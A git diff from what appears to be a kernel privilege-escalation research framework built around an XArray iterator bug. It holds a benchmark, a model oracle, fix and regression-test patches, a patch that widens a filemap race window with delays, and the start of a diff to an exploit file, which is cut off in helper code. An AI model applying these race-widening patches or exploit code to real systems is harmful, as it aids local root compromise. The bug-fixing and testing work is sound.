(index = 0; index < ARRAY_ENTRIES; index++) + must_store(xa, index * 2, xa_mk_value(index + 1)); +} + +static void populate_marked(struct xarray *xa) +{ + unsigned long index; + + populate_single(xa); + for (index = 0; index < ARRAY_ENTRIES; index += 4) + xa_set_mark(xa, index * 2, XA_MARK_0); +} + +static void populate_multi(struct xarray *xa) +{ + unsigned long index; + + for (index = 0; index < ARRAY_ENTRIES; index += 8) { + if (store_order(xa, index, 3, xa_mk_value(index + 1))) { + fprintf(stderr, "ordered store replaced entry at %lu\n", index); + exit(2); + } + } +} + +static void populate_page_cache(struct xarray *xa) +{ + unsigned long index; + + for (index = 0; index < PAGE_CACHE_PAGES; index += 16) { + if (store_order(xa, index, 3, xa_mk_value(index + 1))) { + fprintf(stderr, "page-cache store replaced entry at %lu\n", index); + exit(2); + } + } + for (index = 8; index < PAGE_CACHE_PAGES; index += 32) + must_store(xa, index, xa_mk_value(index + 1)); +} + +int main(int argc, char **argv) +{ + unsigned int samples = 7; + struct xarray single; + struct xarray marked; + struct xarray multi; + struct xarray page_cache; + + if (argc == 2) { + char *end; + unsigned long parsed = strtoul(argv[1], &end, 10); + + if (*end || parsed < 1 || parsed > 100) { + fprintf(stderr, "samples must be in [1, 100]\n"); + return 2; + } + samples = (unsigned int)parsed; + } else if (argc != 1) { + fprintf(stderr, "usage: %s [samples]\n", argv[0]); + return 2; + } + + rcu_register_thread(); + radix_tree_init(); + xa_init(&single); + xa_init(&marked); + xa_init(&multi); + xa_init(&page_cache); + populate_single(&single); + populate_marked(&marked); + populate_multi(&multi); + populate_page_cache(&page_cache); + + run_case("single_index_iteration", &single, iterate_present, 256, samples); + run_case("marked_lookup", &marked, iterate_marked, 1024, samples); + run_case("multi_index_iteration", &multi, iterate_present, 2048, samples); + run_case("restart_bounded_lookup", &single, restart_bounded_lookups, 65536, + samples); + run_case("page_cache_scan", &page_cache, page_cache_scans, 4096, samples); + run_case("page_cache_fault_lookup", &page_cache, page_cache_fault_lookups, + 1024, samples); + + xa_destroy(&page_cache); + xa_destroy(&multi); + xa_destroy(&marked); + xa_destroy(&single); + rcu_barrier(); + radix_tree_cpu_dead(1); + rcu_unregister_thread(); + fprintf(stderr, "benchmark_sink=%lu\n", benchmark_sink); + return 0; +} diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_model_oracle.c b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_model_oracle.c new file mode 100644 index 0000000..2de6d6e --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_model_oracle.c @@ -0,0 +1,209 @@ +// SPDX-License-Identifier: GPL-2.0-only +#include +#include +#include + +#define XA_CHUNK_SHIFT 6U +#define XA_CHUNK_SIZE (1U << XA_CHUNK_SHIFT) +#define XA_CHUNK_MASK (XA_CHUNK_SIZE - 1U) + +enum cursor_kind { + CURSOR_NODE, + CURSOR_RESTART, + CURSOR_BOUNDS, + CURSOR_ERROR, + CURSOR_NULL, +}; + +enum restart_outcome { + RESTART_NODE, + RESTART_ENTRY, + RESTART_TERMINAL, +}; + +enum guard_action { + GUARD_ADVANCE, + GUARD_RETURN_NULL, + GUARD_SET_BOUNDS, + GUARD_RETURN_ENTRY, +}; + +enum slot_kind { + SLOT_EMPTY, + SLOT_SIBLING, + SLOT_NODE, + SLOT_ENTRY, +}; + +enum walk_action { + WALK_ADVANCE, + WALK_ASCEND, + WALK_SET_BOUNDS, + WALK_DESCEND, + WALK_RETURN_ENTRY, + WALK_STOP_MAX, +}; + +static uint64_t word_mask(unsigned int bits) +{ + return bits == 64 ? UINT64_MAX : (UINT64_C(1) << bits) - 1; +} + +static unsigned int get_offset(uint64_t index, unsigned int shift) +{ + return (index >> shift) & XA_CHUNK_MASK; +} + +static uint64_t move_index(uint64_t index, unsigned int shift, + unsigned int offset, unsigned int bits) +{ + uint64_t mask = word_mask(bits); + uint64_t keep = ((~(uint64_t)XA_CHUNK_MASK & mask) << shift) & mask; + + return ((index & keep) + ((uint64_t)offset << shift)) & mask; +} + +static void next_index(unsigned int fixed, unsigned int bits, uint64_t index, + unsigned int shift, unsigned int offset) +{ + unsigned int expected = get_offset(index, shift); + + if (offset != expected) { + if (!shift) + offset = ((index - 1) & XA_CHUNK_MASK) + 1; + else if (fixed) + offset = expected; + } + offset++; + printf("N %" PRIu64 " %u\n", move_index(index, shift, offset, bits), + offset); +} + +static unsigned int find_marked_offset(uint64_t marks, unsigned int offset, + unsigned int advance) +{ + unsigned int bit = offset + !!advance; + + while (bit < XA_CHUNK_SIZE) { + if (marks & (UINT64_C(1) << bit)) + return bit; + bit++; + } + return XA_CHUNK_SIZE; +} + +static unsigned int sibling_base(unsigned int offset, unsigned int span) +{ + return offset & ~(span - 1U); +} + +static void guard(enum cursor_kind kind, unsigned int bits, uint64_t index, + uint64_t max, enum restart_outcome restart) +{ + uint64_t mask = word_mask(bits); + enum guard_action action = GUARD_ADVANCE; + + index &= mask; + max &= mask; + if (kind == CURSOR_ERROR || kind == CURSOR_BOUNDS) { + action = GUARD_RETURN_NULL; + } else if (index > max) { + action = GUARD_SET_BOUNDS; + } else if (kind == CURSOR_NULL) { + index = 1; + action = GUARD_SET_BOUNDS; + } else if (kind == CURSOR_RESTART && restart == RESTART_ENTRY) { + action = GUARD_RETURN_ENTRY; + } else if (kind == CURSOR_RESTART && restart == RESTART_TERMINAL) { + action = GUARD_RETURN_NULL; + } + printf("G %u %" PRIu64 "\n", action, index); +} + +static void walk(unsigned int has_node, uint64_t index, uint64_t max, + unsigned int offset, enum slot_kind slot, + unsigned int parent_exists) +{ + enum walk_action action; + + if (!has_node) + action = WALK_SET_BOUNDS; + else if (index > max) + action = WALK_STOP_MAX; + else if (offset == XA_CHUNK_SIZE) + action = parent_exists ? WALK_ASCEND : WALK_SET_BOUNDS; + else if (slot == SLOT_NODE) + action = WALK_DESCEND; + else if (slot == SLOT_ENTRY) + action = WALK_RETURN_ENTRY; + else + action = WALK_ADVANCE; + printf("W %u\n", action); +} + +int main(void) +{ + char operation; + + while (scanf(" %c", &operation) == 1) { + if (operation == 'N') { + unsigned int fixed, bits, shift, offset; + uint64_t index; + + if (scanf(" %u %u %" SCNu64 " %u %u", &fixed, &bits, + &index, &shift, &offset) != 5) + return 2; + if (bits <= XA_CHUNK_SHIFT || bits > 64 || shift >= bits || + shift % XA_CHUNK_SHIFT || offset > XA_CHUNK_SIZE) + return 3; + next_index(fixed, bits, index, shift, offset); + } else if (operation == 'M') { + uint64_t marks; + unsigned int offset, advance; + + if (scanf(" %" SCNu64 " %u %u", &marks, &offset, + &advance) != 3) + return 2; + if (offset > XA_CHUNK_SIZE || advance > 1) + return 3; + printf("M %u\n", find_marked_offset(marks, offset, advance)); + } else if (operation == 'S') { + unsigned int offset, span; + + if (scanf(" %u %u", &offset, &span) != 2) + return 2; + if (offset >= XA_CHUNK_SIZE || !span || + span > XA_CHUNK_SIZE || (span & (span - 1))) + return 3; + printf("S %u\n", sibling_base(offset, span)); + } else if (operation == 'G') { + unsigned int kind, bits, restart; + uint64_t index, max; + + if (scanf(" %u %u %" SCNu64 " %" SCNu64 " %u", + &kind, &bits, &index, &max, &restart) != 5) + return 2; + if (kind > CURSOR_NULL || bits <= XA_CHUNK_SHIFT || + bits > 64 || restart > RESTART_TERMINAL) + return 3; + guard((enum cursor_kind)kind, bits, index, max, + (enum restart_outcome)restart); + } else if (operation == 'W') { + unsigned int has_node, offset, slot, parent_exists; + uint64_t index, max; + + if (scanf(" %u %" SCNu64 " %" SCNu64 " %u %u %u", + &has_node, &index, &max, &offset, &slot, + &parent_exists) != 6) + return 2; + if (has_node > 1 || offset > XA_CHUNK_SIZE || + slot > SLOT_ENTRY || parent_exists > 1) + return 3; + walk(has_node, index, max, offset, (enum slot_kind)slot, + parent_exists); + } else { + return 2; + } + } + return ferror(stdin) ? 2 : 0; +} diff --git a/dirty-crow-xarray-lpe/framework/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch b/dirty-crow-xarray-lpe/framework/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch new file mode 100644 index 0000000..7f71084 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch @@ -0,0 +1,51 @@ +From b9d64ff791303efaeacfc67bd3fe29e4b796782d Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Mon, 31 Aug 2026 23:45:56 +0200 +Subject: [PATCH 1/2] xarray: resync non-leaf offset before advancing + +xas_find() can return a multi-index entry from a non-leaf node while +xa_index identifies a position inside the entry and xa_offset still points +at the entry's canonical sibling slot. If the entry is split before the +iterator resumes, that stale offset can descend through an earlier sibling +and move xa_index backwards. + +Synchronize xa_offset from xa_index at every node level before advancing. +Keep the existing leaf-node adjustment because its +1 form preserves the +end-of-slot transition expected by xas_next_offset(). + +This correction follows the public syzbot patch-iteration candidate and is +split from the regression test so each change can be reviewed separately. + +Fixes: b803b42823d0 ("xarray: Add XArray iterators") +Cc: stable@vger.kernel.org +Assisted-by: Gemini:gemini-3.7-flash syzbot +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Closes: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Link: https://syzkaller.appspot.com/ai_job?id=a01c56bd-74d0-411c-afb4-ee6f0cb6cb61 +Signed-off-by: Tim van Moorsel +--- + lib/xarray.c | 8 +++++--- + 1 file changed, 5 insertions(+), 3 deletions(-) + +diff --git a/lib/xarray.c b/lib/xarray.c +index 9a8b4916540c..980324d686bd 100644 +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1406,9 +1406,11 @@ void *xas_find(struct xa_state *xas, unsigned long max) + entry = xas_load(xas); + if (entry || xas_not_node(xas->xa_node)) + return entry; +- } else if (!xas->xa_node->shift && +- xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +- xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ } else if (xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) { ++ if (!xas->xa_node->shift) ++ xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ else ++ xas->xa_offset = get_offset(xas->xa_index, xas->xa_node); + } + + xas_next_offset(xas); +-- +2.43.0.windows.1 + diff --git a/dirty-crow-xarray-lpe/framework/patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch b/dirty-crow-xarray-lpe/framework/patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch new file mode 100644 index 0000000..6030d8f --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch @@ -0,0 +1,184 @@ +From 1230e8e71c184095363127fd353bb753c1107317 Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Mon, 31 Aug 2026 23:45:58 +0200 +Subject: [PATCH 2/2] xarray: test iteration after splitting a multi-index + entry + +Exercise xas_find() with an iterator positioned inside a multi-index entry +in a non-leaf node. Split that entry into a child node while retaining the +iterator, then resume the search and require the next result and xa_index +to advance monotonically. + +Cover unmarked, marked, sibling-boundary, and multiple-order transitions. +Without the preceding xas_find() offset fix, the stale iterator descends at +the wrong slot and the test aborts in check_multi_find_4(). With the fix, +the userspace XArray suite completes all 159585972 checks. + +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Link: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Signed-off-by: Tim van Moorsel +--- + lib/test_xarray.c | 140 ++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 140 insertions(+) + +diff --git a/lib/test_xarray.c b/lib/test_xarray.c +index 5ca0aefee9aa..8b8f8f995b2f 100644 +--- a/lib/test_xarray.c ++++ b/lib/test_xarray.c +@@ -1247,6 +1247,145 @@ static noinline void check_multi_find_3(struct xarray *xa) + } + } + ++static noinline void check_multi_find_4(struct xarray *xa) ++{ ++#ifdef CONFIG_XARRAY_MULTI ++ XA_STATE(leaf, xa, XA_CHUNK_SIZE - 1); ++ XA_STATE(control, xa, XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2); ++ XA_STATE(stale, xa, XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2); ++ XA_STATE(marked, xa, XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2); ++ XA_STATE_ORDER(split, xa, 0, 0); ++ const unsigned int leaf_order = XA_CHUNK_SHIFT - 1; ++ const unsigned int split_order = XA_CHUNK_SHIFT + 1; ++ const unsigned long leaf_base = ++ XA_CHUNK_SIZE - (1UL << leaf_order); ++ const unsigned long inside = ++ XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2; ++ const unsigned long next = 2UL * XA_CHUNK_SIZE; ++ unsigned long index, previous; ++ unsigned int nr_marked = 0; ++ void *entry; ++ ++ /* ++ * Exercise the leaf-node offset correction at a chunk boundary. ++ * The last index resolves through a sibling slot to leaf_base. ++ */ ++ xa_store_order(xa, leaf_base, leaf_order, xa_mk_index(leaf_base), ++ GFP_KERNEL); ++ XA_BUG_ON(xa, xa_store_index(xa, XA_CHUNK_SIZE, GFP_KERNEL)); ++ ++ rcu_read_lock(); ++ entry = xas_find(&leaf, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(leaf_base)); ++ XA_BUG_ON(xa, leaf.xa_index != XA_CHUNK_SIZE - 1); ++ XA_BUG_ON(xa, leaf.xa_node->shift); ++ previous = leaf.xa_index; ++ ++ entry = xas_find(&leaf, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(XA_CHUNK_SIZE)); ++ XA_BUG_ON(xa, leaf.xa_index != XA_CHUNK_SIZE); ++ XA_BUG_ON(xa, leaf.xa_index <= previous); ++ ++ entry = xas_find(&leaf, XA_CHUNK_SIZE); ++ XA_BUG_ON(xa, entry); ++ rcu_read_unlock(); ++ ++ xa_destroy(xa); ++ XA_BUG_ON(xa, !xa_empty(xa)); ++ ++ /* ++ * A split_order entry occupies sibling slots 0 and 1 in a non-leaf ++ * node. A lookup at inside retains the requested index while its ++ * cursor points at canonical slot 0. ++ */ ++ xa_store_order(xa, 0, split_order, xa_mk_index(0), GFP_KERNEL); ++ xa_set_mark(xa, 0, XA_MARK_1); ++ XA_BUG_ON(xa, xa_store_index(xa, next, GFP_KERNEL)); ++ xa_set_mark(xa, next, XA_MARK_1); ++ ++ rcu_read_lock(); ++ entry = xas_find(&control, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(0)); ++ XA_BUG_ON(xa, control.xa_index != inside); ++ XA_BUG_ON(xa, !control.xa_node->shift); ++ index = (control.xa_index >> control.xa_node->shift) & ++ XA_CHUNK_MASK; ++ XA_BUG_ON(xa, control.xa_offset == index); ++ ++ entry = xas_find(&control, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(next)); ++ XA_BUG_ON(xa, control.xa_index != next); ++ ++ entry = xas_find(&stale, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(0)); ++ XA_BUG_ON(xa, stale.xa_index != inside); ++ XA_BUG_ON(xa, !stale.xa_node->shift); ++ index = (stale.xa_index >> stale.xa_node->shift) & XA_CHUNK_MASK; ++ XA_BUG_ON(xa, stale.xa_offset == index); ++ previous = stale.xa_index; ++ rcu_read_unlock(); ++ ++ /* ++ * Replace the sibling slot with a child node while stale remains ++ * positioned inside the entry. Resuming xas_find() must advance ++ * past the entry; it must not descend at XA_CHUNK_SIZE. ++ */ ++ xas_split_alloc(&split, xa_mk_index(0), split_order, GFP_KERNEL); ++ xas_lock(&split); ++ xas_split(&split, xa_mk_index(0), split_order); ++ for (index = 0; index < next; index++) ++ __xa_store(xa, index, xa_mk_index(index), 0); ++ xas_unlock(&split); ++ ++ rcu_read_lock(); ++ entry = xas_find(&stale, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(next)); ++ XA_BUG_ON(xa, stale.xa_index != next); ++ XA_BUG_ON(xa, stale.xa_index <= previous); ++ ++ entry = xas_find(&stale, ULONG_MAX); ++ XA_BUG_ON(xa, entry); ++ rcu_read_unlock(); ++ ++ /* A bounded search stops at the exact upper bound. */ ++ xas_set(&stale, next - 1); ++ rcu_read_lock(); ++ entry = xas_find(&stale, next - 1); ++ XA_BUG_ON(xa, entry != xa_mk_index(next - 1)); ++ XA_BUG_ON(xa, stale.xa_index != next - 1); ++ entry = xas_find(&stale, next - 1); ++ XA_BUG_ON(xa, entry); ++ rcu_read_unlock(); ++ ++ /* ++ * Explicitly resetting the cursor is the only intentional backward ++ * transition in this test. ++ */ ++ xas_set(&stale, XA_CHUNK_SIZE); ++ rcu_read_lock(); ++ entry = xas_find(&stale, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(XA_CHUNK_SIZE)); ++ XA_BUG_ON(xa, stale.xa_index != XA_CHUNK_SIZE); ++ rcu_read_unlock(); ++ ++ /* Marks copied by the split also traverse monotonically. */ ++ previous = inside - 1; ++ rcu_read_lock(); ++ xas_for_each_marked(&marked, entry, next, XA_MARK_1) { ++ XA_BUG_ON(xa, marked.xa_index <= previous); ++ XA_BUG_ON(xa, entry != xa_mk_index(marked.xa_index)); ++ previous = marked.xa_index; ++ nr_marked++; ++ } ++ rcu_read_unlock(); ++ XA_BUG_ON(xa, nr_marked != next - inside + 1); ++ XA_BUG_ON(xa, previous != next); ++ ++ xa_destroy(xa); ++ XA_BUG_ON(xa, !xa_empty(xa)); ++#endif ++} ++ + static noinline void check_find_1(struct xarray *xa) + { + unsigned long i, j, k; +@@ -1370,6 +1509,7 @@ static noinline void check_find(struct xarray *xa) + check_multi_find_1(xa, i); + check_multi_find_2(xa); + check_multi_find_3(xa); ++ check_multi_find_4(xa); + } + + /* See find_swap_entry() in mm/shmem.c */ +-- +2.43.0.windows.1 + diff --git a/dirty-crow-xarray-lpe/framework/patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch b/dirty-crow-xarray-lpe/framework/patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch new file mode 100644 index 0000000..aaaf275 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch @@ -0,0 +1,101 @@ +From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Sat, 5 Sep 2026 12:00:00 +0200 +Subject: [PATCH v4.20 1/2] xarray: test retained iterator after + multi-index replacement + +Linux 4.20 predates xas_split(), so reproduce the same iterator-state +transition with APIs available in that release. Position xas_find() inside +a non-leaf multi-index entry, replace the entry with order-0 entries while +retaining the iterator, and require the resumed search to advance to the +next entry. + +On the default userspace XArray build for unmodified v4.20, the stale +non-leaf xa_offset makes xa_index move from 12 back to 8 instead of 16 and +the assertion aborts. With the companion xas_find() fix, xa_index advances +to 16 and all 21,134,890 userspace XArray checks pass. + +With CONFIG_XARRAY_MULTI=y in an x86-64 v4.20 QEMU kernel, the same test +moves xa_index from 96 back to 64 instead of 128 and fails two assertions; +the companion fix advances to 128 and all 20,183,242 in-kernel XArray +checks pass. + +This proves the iterator primitive exists in v4.20. It does not establish +the later shmem/filemap privilege-escalation chain: v4.20 stores compound +shmem pages as repeated order-0 page pointers rather than one multi-index +page-cache entry. + +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Link: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Signed-off-by: Tim van Moorsel +--- + lib/test_xarray.c | 47 +++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 47 insertions(+) + +diff --git a/lib/test_xarray.c b/lib/test_xarray.c +index 4676c0a1e..139a9805b 100644 +--- a/lib/test_xarray.c ++++ b/lib/test_xarray.c +@@ -761,6 +761,52 @@ static noinline void check_multi_find_2(struct xarray *xa) + } + } + ++static noinline void check_multi_find_split(struct xarray *xa) ++{ ++#ifdef CONFIG_XARRAY_MULTI ++ const unsigned int order = XA_CHUNK_SHIFT + 1; ++ const unsigned long inside = XA_CHUNK_SIZE + XA_CHUNK_SIZE / 2; ++ const unsigned long next = 2UL * XA_CHUNK_SIZE; ++ XA_STATE(stale, xa, inside); ++ void *entry; ++ unsigned long i; ++ ++ xa_store_order(xa, 0, order, xa_mk_index(0), GFP_KERNEL); ++ XA_BUG_ON(xa, xa_store_index(xa, next, GFP_KERNEL) != NULL); ++ ++ rcu_read_lock(); ++ entry = xas_find(&stale, ULONG_MAX); ++ XA_BUG_ON(xa, entry != xa_mk_index(0)); ++ XA_BUG_ON(xa, stale.xa_index != inside); ++ XA_BUG_ON(xa, !stale.xa_node->shift); ++ rcu_read_unlock(); ++ ++ /* ++ * Linux 4.20 predates xas_split(). Erase the multi-index entry, ++ * then populate its range with order-0 entries while retaining the ++ * iterator. The separate entry at @next keeps the non-leaf node ++ * alive, matching the transition that exposes the stale offset. ++ */ ++ xa_store_order(xa, 0, order, NULL, GFP_KERNEL); ++ for (i = 0; i < next; i++) ++ XA_BUG_ON(xa, xa_store_index(xa, i, GFP_KERNEL) != NULL); ++ ++ rcu_read_lock(); ++ entry = xas_find(&stale, ULONG_MAX); ++ printk("v4.20 split-resume: before=%lu after=%lu expected=%lu\n", ++ inside, stale.xa_index, next); ++#ifndef __KERNEL__ ++ fflush(stdout); ++#endif ++ XA_BUG_ON(xa, entry != xa_mk_index(next)); ++ XA_BUG_ON(xa, stale.xa_index != next); ++ rcu_read_unlock(); ++ ++ xa_destroy(xa); ++ XA_BUG_ON(xa, !xa_empty(xa)); ++#endif ++} ++ + static noinline void check_find_1(struct xarray *xa) + { + unsigned long i, j, k; +@@ -861,6 +907,7 @@ static noinline void check_find(struct xarray *xa) + check_find_3(xa); + check_multi_find(xa); + check_multi_find_2(xa); ++ check_multi_find_split(xa); + } + + /* See find_swap_entry() in mm/shmem.c */ +-- +2.43.0.windows.1 diff --git a/dirty-crow-xarray-lpe/framework/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch b/dirty-crow-xarray-lpe/framework/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch new file mode 100644 index 0000000..8633ec5 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch @@ -0,0 +1,49 @@ +From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Sat, 5 Sep 2026 12:00:01 +0200 +Subject: [PATCH v4.20 2/2] xarray: resync non-leaf offset before + advancing + +xas_find() can return a multi-index entry from a non-leaf node while +xa_index identifies a position inside the entry and xa_offset still points +at the entry's canonical sibling slot. If the entry is replaced before the +iterator resumes, that stale offset can descend through an earlier sibling +and move xa_index backwards. + +Recalculate xa_offset from xa_index at non-leaf levels before advancing. +Retain the existing leaf wraparound adjustment because its +1 convention +preserves the slot-to-slot transition expected by xas_advance(). + +This is the Linux v4.20-context form of the public candidate fix; the +release calls xas_advance() where current kernels call xas_next_offset(). + +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Link: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Signed-off-by: Tim van Moorsel +--- + lib/xarray.c | 10 +++++++--- + 1 file changed, 7 insertions(+), 3 deletions(-) + +diff --git a/lib/xarray.c b/lib/xarray.c +index 5f3f9311d..b016527b2 100644 +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1061,9 +1061,13 @@ void *xas_find(struct xa_state *xas, unsigned long max) + entry = xas_load(xas); + if (entry || xas_not_node(xas->xa_node)) + return entry; +- } else if (!xas->xa_node->shift && +- xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +- xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ } else if (xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) { ++ if (!xas->xa_node->shift) ++ xas->xa_offset = ((xas->xa_index - 1) & ++ XA_CHUNK_MASK) + 1; ++ else ++ xas->xa_offset = get_offset(xas->xa_index, ++ xas->xa_node); + } + + xas_advance(xas); +-- +2.43.0.windows.1 diff --git a/dirty-crow-xarray-lpe/framework/patches/0005-linux-v5.17-widen-filemap-xarray-window.patch b/dirty-crow-xarray-lpe/framework/patches/0005-linux-v5.17-widen-filemap-xarray-window.patch new file mode 100644 index 0000000..3154b66 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0005-linux-v5.17-widen-filemap-xarray-window.patch @@ -0,0 +1,116 @@ +diff --git a/mm/filemap.c b/mm/filemap.c +index ad8c39d90..0b41719f2 100644 +--- a/mm/filemap.c ++++ b/mm/filemap.c +@@ -12,6 +12,7 @@ + */ + #include + #include ++#include + #include + #include + #include +@@ -3259,6 +3260,21 @@ static bool filemap_map_pmd(struct vm_fault *vmf, struct page *page) + return false; + } + ++static void *dirty_crow_xas_next_entry(struct xa_state *xas, ++ unsigned long max) ++{ ++ static atomic_t regression_reports = ATOMIC_INIT(0); ++ unsigned long previous = xas->xa_index; ++ void *entry = xas_next_entry(xas, max); ++ ++ if (unlikely(xas->xa_index < previous) && ++ atomic_inc_return(®ression_reports) <= 8) ++ pr_warn("DIRTY_CROW_XAS_REGRESSION before=%#lx after=%#lx max=%#lx offset=%u shift=%u\n", ++ previous, xas->xa_index, max, xas->xa_offset, ++ xas->xa_node->shift); ++ return entry; ++} ++ + static struct folio *next_uptodate_page(struct folio *folio, + struct address_space *mapping, + struct xa_state *xas, pgoff_t end_pgoff) +@@ -3272,6 +3288,18 @@ static struct folio *next_uptodate_page(struct folio *folio, + continue; + if (xa_is_value(folio)) + continue; ++ if (folio && folio_order(folio) > 0) { ++ static atomic_t window_reports = ATOMIC_INIT(0); ++ int report = atomic_inc_return(&window_reports); ++ ++ if (report <= 32) { ++ if (report == 1) ++ pr_warn("DIRTY_CROW_WINDOW_WIDENED index=%#lx order=%u offset=%u shift=%u\n", ++ xas->xa_index, folio_order(folio), ++ xas->xa_offset, xas->xa_node->shift); ++ mdelay(20); ++ } ++ } + if (folio_test_locked(folio)) + continue; + if (!folio_try_get_rcu(folio)) +@@ -3295,7 +3323,7 @@ static struct folio *next_uptodate_page(struct folio *folio, + folio_unlock(folio); + skip: + folio_put(folio); +- } while ((folio = xas_next_entry(xas, end_pgoff)) != NULL); ++ } while ((folio = dirty_crow_xas_next_entry(xas, end_pgoff)) != NULL); + + return NULL; + } +@@ -3312,8 +3340,9 @@ static inline struct folio *next_map_page(struct address_space *mapping, + struct xa_state *xas, + pgoff_t end_pgoff) + { +- return next_uptodate_page(xas_next_entry(xas, end_pgoff), +- mapping, xas, end_pgoff); ++ return next_uptodate_page( ++ dirty_crow_xas_next_entry(xas, end_pgoff), ++ mapping, xas, end_pgoff); + } + + vm_fault_t filemap_map_pages(struct vm_fault *vmf, +@@ -3332,6 +3361,23 @@ vm_fault_t filemap_map_pages(struct vm_fault *vmf, + + rcu_read_lock(); + folio = first_map_page(mapping, &xas, end_pgoff); ++ { ++ static atomic_t call_reports = ATOMIC_INIT(0); ++ ++ if (atomic_inc_return(&call_reports) <= 16) ++ pr_info("DIRTY_CROW_MAP_CALL comm=%s found=%u index=%#lx order=%u start=%#lx end=%#lx offset=%u\n", ++ current->comm, folio != NULL, xas.xa_index, ++ folio ? folio_order(folio) : 0, ++ start_pgoff, end_pgoff, xas.xa_offset); ++ } ++ if (folio && folio_order(folio) > 0) { ++ static atomic_t multi_reports = ATOMIC_INIT(0); ++ ++ if (atomic_inc_return(&multi_reports) <= 4) ++ pr_info("DIRTY_CROW_MULTI_MAP index=%#lx order=%u start=%#lx end=%#lx offset=%u shift=%u\n", ++ xas.xa_index, folio_order(folio), start_pgoff, ++ end_pgoff, xas.xa_offset, xas.xa_node->shift); ++ } + if (!folio) + goto out; + +diff --git a/mm/shmem.c b/mm/shmem.c +index a09b29ec2..193319303 100644 +--- a/mm/shmem.c ++++ b/mm/shmem.c +@@ -2017,6 +2017,13 @@ static vm_fault_t shmem_fault(struct vm_fault *vmf) + gfp_t gfp = mapping_gfp_mask(inode->i_mapping); + int err; + vm_fault_t ret = VM_FAULT_LOCKED; ++ { ++ static atomic_t fault_reports = ATOMIC_INIT(0); ++ ++ if (atomic_inc_return(&fault_reports) <= 16) ++ pr_info("DIRTY_CROW_SHMEM_FAULT comm=%s pgoff=%#lx flags=%#x\n", ++ current->comm, vmf->pgoff, vmf->flags); ++ } + + /* + * Trinity finds that probing a hole which tmpfs is punching can diff --git a/dirty-crow-xarray-lpe/framework/patches/0006-linux-v5.17-userns-tmpfs-trigger.patch b/dirty-crow-xarray-lpe/framework/patches/0006-linux-v5.17-userns-tmpfs-trigger.patch new file mode 100644 index 0000000..5ccdba2 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0006-linux-v5.17-userns-tmpfs-trigger.patch @@ -0,0 +1,251 @@ +--- a/filemap_xarray_lts_full_exploit.c ++++ b/filemap_xarray_v5.17_widened_exploit.c +@@ -2,6 +2,7 @@ + #include + #include + #include ++#include + #include + #include + #include +@@ -18,7 +19,9 @@ + #include + #include + #include ++#include + #include ++#include + #include + #include + #include +@@ -170,6 +173,144 @@ + static sigjmp_buf fault_jmp; + static volatile sig_atomic_t fault_guard; + ++static int huge_tmpfs_dirfd = -1; ++static int huge_tmpfs_control = -1; ++static pid_t huge_tmpfs_helper = -1; ++ ++static int write_text_file(const char *path, const char *text) ++{ ++ int fd = open(path, O_WRONLY | O_CLOEXEC); ++ ssize_t length = (ssize_t)strlen(text); ++ ssize_t written; ++ ++ if (fd < 0) ++ return -1; ++ written = write(fd, text, (size_t)length); ++ close(fd); ++ return written == length ? 0 : -1; ++} ++ ++static int send_directory_fd(int sock, int fd) ++{ ++ char byte = 'F'; 